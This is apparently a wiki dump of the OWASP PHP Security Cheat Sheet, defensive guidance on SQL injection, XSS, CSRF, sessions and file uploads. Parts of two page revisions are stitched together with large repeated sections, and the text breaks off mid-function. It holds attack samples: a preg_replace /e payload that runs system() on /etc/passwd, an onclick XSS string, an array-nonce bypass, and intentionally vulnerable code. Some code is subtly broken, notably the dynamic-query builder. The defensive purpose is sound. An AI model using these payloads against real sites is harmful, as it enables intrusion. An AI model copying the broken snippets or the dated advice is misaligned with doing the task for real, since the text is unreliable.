Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:19:18Z

Luke Plant: /* Cryptography Cheat Sheet */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
